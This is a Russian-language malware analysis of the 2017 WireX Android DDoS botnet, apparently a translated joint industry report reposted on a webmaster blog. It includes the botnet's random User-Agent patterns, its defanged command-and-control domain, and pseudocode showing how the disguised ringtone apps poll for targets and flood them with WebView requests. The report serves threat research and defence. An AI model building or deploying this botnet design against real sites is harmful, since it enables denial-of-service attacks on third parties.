Как Остановить Ddos-Атаку + Анализ Кода Ботнета Wirex



Как остановить DDoS-атаку + анализ кода ботнета WireX

17 августа 2017 года несколько контент-провайдеров и сетей доставки контента (CDN) подверглись крупномасштабным атакам со стороны ботнета, получившего название WireX. Ботнет WireX включает в себя преимущественно Android-устройства и предназначен для создания DDoS-трафика.

Несколько дней назад Google удалил сотни зараженных приложений, доступных для скачивания в Play Store, и начал процесс их удаления со всех устройств.

Исследователи из Akamai, Cloudflare, Flashpoint, Google, Oracle Dyn, RiskIQ, Team Cymru и других организаций сотрудничали, объединившись для борьбы с этим ботнетом.

Имеющиеся данные указывают на то, что ботнет мог быть активен еще 2 августа, но внимание привлекла атака 17 августа.

Эта статья включает в себя совокупность знаний и описывает усилия исследователей, работающих над нейтрализацией ботнета.



Подробности атаки

Ботнет WireX оставил свои первые следы 2 августа в виде атак, которые на тот момент остались незамеченными.

Они были обнаружены, когда исследователи начали искать в журналах 26-значные записи User-Agent. Первоначальные атаки были минимальными, и вполне вероятно, что вредоносное ПО находилось в разработке или на ранних стадиях развертывания.

Начиная с 15 августа были выявлены более длительные атаки, в некоторых из которых было задействовано не менее 70 000 IP-адресов (рис.

1).

WireX — это DDoS-атака на уровне приложения.

Трафик, генерируемый атакующими узлами, в основном представляет собой HTTP-запросы GET, хотя некоторые варианты приложений, похоже, способны выдавать запросы POST. Другими словами, ботнет создает трафик, напоминающий реальные запросы от обычных HTTP-клиентов и веб-браузеров.



Как остановить DDoS-атаку + анализ кода ботнета WireX

Рисунок 1. Предполагаемый рост ботнета на основе количества уникальных IP-адресов, наблюдаемых при атаках в час.

Большая часть трафика этого ботнета характеризовалась использованием HTTP-запросов User-Agent в виде случайной последовательности строчных букв английского алфавита.

Некоторые записи User-Agent:

  
  
  
  
   

User-Agent: jigpuzbcomkenhvladtwysqfxr User-Agent: yudjmikcvzoqwsbflghtxpanre User-Agent: mckvhaflwzbderiysoguxnqtpj User-Agent: deogjvtynmcxzwfsbahirukqpl User-Agent: fdmjczoeyarnuqkbgtlivsxhwp User-Agent: yczfxlrenuqtwmavhojpigkdsb User-Agent: dnlseufokcgvmajqzpbtrwyxih

Также были обнаружены варианты вредоносного ПО, которые создают записи User-Agent с расширенным набором символов различной длины.

Вот некоторые примеры:

User-Agent: xlw2ibhqg0i User-Agent: bg5pdrxhka2sjr1g User-Agent: 5z5z39iit9damit5czrxf655ok060d544ytvx25g19hcg18jpo8vk3q User-Agent: fge26sd5e1vnyp3bdmc6ie0 User-Agent: m8al87qi9z5cqlwc8mb7ug85g47u User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 (.

NET CLR 3.5.30729) User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.7) Gecko/20071018 BonEcho/2.0.0.7 User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_5_7; en-us) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2



Отслеживание узла атаки

Анализ данных DDoS-атаки 17 августа показал, что в ней были задействованы устройства из более чем 100 стран, что необычно для ботнетов.

Распространение атакующих IP-адресов, а также конкретной записи User-Agent заставило исследователей подозревать, что другие организации могли заметить подобные атаки или стать их жертвами.

Специалисты, начавшие расследование, обратились к коллегам из других организаций, чтобы проверить эту гипотезу.

Благодаря совместным усилиям расследование стало стремительно развиваться.

Анализ логов показал связь между атакующими IP-адресами и вредоносными Android-приложениями.

Первая и последующие атаки включали запросы от приложения с одной и той же подписью.

Это привело исследователей к приложению для Android «twdlphqg_v1.3.5_apkpure.com.apk», которое они начали изучать, чтобы понять, как работает ботнет, и идентифицировать связанные приложения.

В результате поиска было обнаружено еще несколько заявок от тех же авторов или авторов со схожим названием и сопоставимым описанием (рис.

2).

Когда были найдены новые приложения, началась работа по анализу их функционала.



Как остановить DDoS-атаку + анализ кода ботнета WireX

Рисунок 2. Скриншот результатов поиска с похожим вредоносным ПО.

Было несколько случаев, когда эти приложения были найдены в известных магазинах мобильных приложений.

В ответ на уведомление о вредоносном приложении Google предоставил следующий комментарий:

Мы выявили около 300 приложений, связанных с этой проблемой, и заблокировали их в Play Store. Мы находимся в процессе удаления их со всех зараженных устройств.

Выводы исследователей в сочетании с нашим собственным анализом позволили нам лучше защитить пользователей Android.



Обзор вредоносного ПО

Многие из приложений относились к категориям медиа/видеоплееров, рингтонов или утилит, таких как файловые менеджеры и магазины приложений, с дополнительными функциями, скрытыми для конечных пользователей.

При запуске приложений вредоносные компоненты начинали свою работу, запрашивая у управляющего сервера, которым чаще всего был g.axclick.store, команду на запуск и направление атаки.

Приложения с возможностью DDoS-атаки были безвредны для пользователей, которые их установили.

Эти приложения также воспользовались преимуществами сервисной архитектуры Android, которая позволяет приложениям использовать системные ресурсы даже во время работы в фоновом режиме.

Таким образом, атаки могут быть запущены, когда приложение не используется.

Антивирусное программное обеспечение в настоящее время распознает это вредоносное ПО как троян «Android Clicker», но оно не имеет никакого отношения к мошенничеству с кликами.

Вредоносное ПО, вероятно, было связано с аналогичными мошенничествами, но было перепрофилировано для DDoS-атак.



Анализ вредоносного ПО

При проверке различных декомпилированных приложений было обнаружено несколько поддоменов одного корневого домена (axclick.store), которые предположительно были частью инфраструктуры управления и контроля (C2) ботнета.



$ grep http * -R com/twdlphqg/app/ExplorationActivity.smali: const-string v3, "
http://u[.

]axclick[.

]store/ " com/twdlphqg/app/services/Ryiidrxcjmfb.smali: const-string v1, " http://g[.

]axclick[.

]store/ "

Первый домен (u[.

]Axclick[.

]Store) не вернул контент, а отправил пустой ответ 200 ОК и, очевидно, использовался для проверки подключения к Интернету.

Второй домен (g[.

]Axclick[.

]Store) оказался связан с DDoS-компонентами вредоносного ПО.

Компонент приложения, ссылающийся на этот домен, отвечал за создание службы Android, оснащенной двумя экземплярами WebView. Android позволяет создать собственное окно для просмотра веб-страниц или даже создать собственный клон браузера с помощью элемента WebView. Первый экземпляр WebView служил маяком, опрашивая сервер C2 на наличие директив атаки.

Второй служил ссылкой для клонирования WebView в целях атаки.

Этот компонент также содержит логику для настройки этих экземпляров атак.



Обзор компонентов

Ниже с использованием псевдокода, основанного на знаниях, полученных из декомпилированных APK, части компонентов обсуждаются отдельно.

СервисРаннер Цель компонента — продолжить работу приложения в фоновом режиме.

Выполнение завершится только в том случае, если приложение будет остановлено пользователем мобильного устройства или устройство будет перезагружено.

Псевдокод Service Runner

Class ServiceRunner extends Object { Public function run() { DDoS_Service->poll_c2(); } }

C2-парсер AttackCommandParser запускается, когда C2 WebView обнаруживает, что страница загружена.

Анализатор загружает содержимое страницы и извлекает тело в качестве команды атаки.

Судя по наблюдаемым образцам, полезная нагрузка C2 выглядит следующим образом:

<html> <title>
https://A_TARGETED_WEBSITE/snewxwriA_USER_AGENT_STRINGsnewxwrihttps://A_REFER_HEADER_VALUE/ </title> </html>

Пример команды атаки Значение, извлеченное из тега заголовка, затем проверяется с помощью String-> contains(), чтобы убедиться, что оно содержит разделитель snewxwri. Если найдено, содержимое разделяется.

Затем они используются в качестве параметров для передачи методу DDoS_Service-> attack().

Псевдокод для разбора ответов

Class AttackCommandParser extends WebViewClient { Public function onPageFinished(C2_WebView,C2_url) { String pageTitle = C2_WebView->getTitle(); if (pageTitle->contains(“snewxwri”) == true) { pageTitle = pageTitle->trim(); Array commandParts = pageTitle.split(“snewxwri”); String target = commandParts[0]; String userAgent = commandParts[1]; String referer = commandParts[2]; DDoS_Service->attack(target, userAgent, referer); } } }

DDoS-сервис Основная функция компонента DDoS_Service — создание WebView для загрузки любого указанного URL-адреса, выбранного в C2 WebView, в сам контейнер WebView, а не запуск браузера.

После этого начинается атака.

Псевдокод службы DDoS

Class DDoS_Service extends Object { Public function onCreate() { Handler OS_Handler = new Handler(); Object Runner = new ServiceRunner(); OS_Handler->postDelayed(Runner,2); } Public function poll_c2() { WebViewClient C2_Parser = new AttackCommandParser(); WebView C2_WebView = new WebView(); WebViewSettings C2_WebView_Settings = C2_WebView->getSettings(); C2_WebView_Settings->setCacheMode(LOAD_NO_CACHE); C2_WebView->clearCache(true); C2_WebView->clearHistory(); C2_WebView->setWebViewClient(C2_Parser); C2_WebView->loadUrl(“ http://g[.

]axclick[.

]store ”); } Public function attack(String target, String userAgent, String referer) { HashMap WebViewHeaders = new HashMap(); WebViewHeaders->put(“Referer”,referer); WebViewHeaders->put(“X-Requested-With”,””); WebView[] AttackerViews = new WebView[100]; for (int i=0; i<AttackerViews.length; i++) { AttackerViews[i] = new WebView(); AttackerViews[i]->clearHistory(); AttackerViews[i]->clearFormData(); AttackerViews[i]->clearCache(true); WebViewSettings AttackWebViewSettings = AttackerViews[i]->getSettings(); AttackWebViewSettings->setJavaScriptEnabled(true); AttackWebViewSettings->setUserAgentString(userAgent); AttackWebViewSettings->setCacheMode(LOAD_NO_CACHE); this->deleteDatabase(“webview.db”); this->deleteDatabase(“webviewCache.db”); AttackerViews[i]->loadUrl(target,WebViewHeaders); } } }

Метод onCreate() создает новый экземпляр android/os/Handler и ServiceRunner. Метод poll_c2() отвечает за постоянную перезагрузку WebView с использованием URL-адреса C2. Перед опросом доменов C2 служба очистит и отключит кеш, а также очистит историю экземпляров WebView. Эти действия выполняются для того, чтобы клиент всегда получал актуальную информацию и не обрабатывал запросы с использованием кэша.

Метод Attack() отвечает за генерацию фактического атакующего трафика.



Пользовательский опыт при работе с вредоносным ПО

Хотя многие зараженные приложения уже удалены из Google Play Store, в сети остаются зеркала, с которых можно скачать APK-файлы.

Мы загрузили «twdlphqg» (одно из атакующих приложений) на физический Samsung Galaxy S4 с Android Lollipop и исправлениями безопасности 2015 года.



Как остановить DDoS-атаку + анализ кода ботнета WireX

Это приложение, как и другие, которые мы тестировали, имело безобидные названия, такие как «Анализ устройства», «Хранилище данных», «Диспетчер пакетов» и так далее.

Когда приложение запускается, оно выглядит как простое приложение для рингтонов.

Доступно всего три мелодии звонка.

Он может воспроизводить и устанавливать мелодии звонка и не имеет других функций.



Как остановить DDoS-атаку + анализ кода ботнета WireX

Это приложение запускает в фоновом режиме дополнительные процессы, которые продолжают работать и могут участвовать в DDoS-атаке, даже когда экран телефона заблокирован.

Когда мы поставили телефон на зарядку в спящий режим, процессы, ответственные за DDoS-атаку, не остановились.



Как остановить DDoS-атаку + анализ кода ботнета WireX

Примечательно, что в настоящее время невозможно установить эти приложения, поскольку функция Google PlayProtect блокирует их.

Все выявленные приложения стали частью кампании по удалению проблемных и уже установленных приложений с устройств.

Теперь для запуска этого вредоносного ПО необходимо отключить PlayProtect в настройках.



Как остановить DDoS-атаку + анализ кода ботнета WireX



Заключение

Эти открытия стали возможны только благодаря сотрудничеству различных ИТ-организаций.

У каждого была своя часть головоломки: без участия каждой компании этот ботнет мог бы долгое время оставаться загадкой.

Лучшее, что могут сделать организации, столкнувшись с DDoS-атакой, — это поделиться подробными показателями, связанными с атакой.

Обладая этой информацией, те, кто специализируются на защита от DDoS , смогут узнать гораздо больше и минимизировать негативные последствия.

Полезная информация может включать захваченные пакеты, списки атакующих IP-адресов, заметки о выкупе, заголовки запросов и любые подозрительные шаблоны.

Такие данные не должны содержать законный клиентский трафик, чтобы свести к минимуму проблемы конфиденциальности, а также потому, что такой трафик может замедлить анализ.

И самое главное, дайте разрешение на передачу этих данных доверенным лицам в более широком сообществе ИТ-безопасности, которые могут обладать необходимым опытом.

Спасибо исследователям из Akamai, Cloudflare, Flashpoint, Google, RiskIQ, Team Cymru, ФБР и других организаций, не вошедших в список.

Тим Эйприл: старший архитектор безопасности @ Akamai Крис Бейкер: руководитель отдела анализа угроз @ Oracle Dyn Мэтт Каротерс Джейми Кокран: аналитик по безопасности @ Cloudflare Марек Майковски: компьютерщик-энтузиаст @ Cloudflare Джаред Маух: Межсетевые исследования и архитектура @ Akamai Эллисон Никсон: директор по исследованиям безопасности @ Flashpoint Джастин Пейн: руководитель отдела доверия и безопасности Cloudflare Чад Симэн: сенатор, инженер группы реагирования на вопросы безопасности и разведки @ Akamai SIRT Даррен Спруэлл: исследователь угроз @ RiskIQ Зак Викхолм: разработчик-исследователь @ Flashpoint и другие.

Теги: #Сетевые технологии #ботнет #ddos #хостинг #it-инфраструктура #защита от ддос #защита от ддос #антивирусная защита #приложения для Android #облачный хостинг

Вместе с данным постом часто просматривают:

Автор Статьи


Зарегистрирован: 2019-12-10 15:07:06
Баллов опыта: 0
Всего постов на сайте: 0
Всего комментарий на сайте: 0
Dima Manisha

Dima Manisha

Эксперт Wmlog. Профессиональный веб-мастер, SEO-специалист, дизайнер, маркетолог и интернет-предприниматель.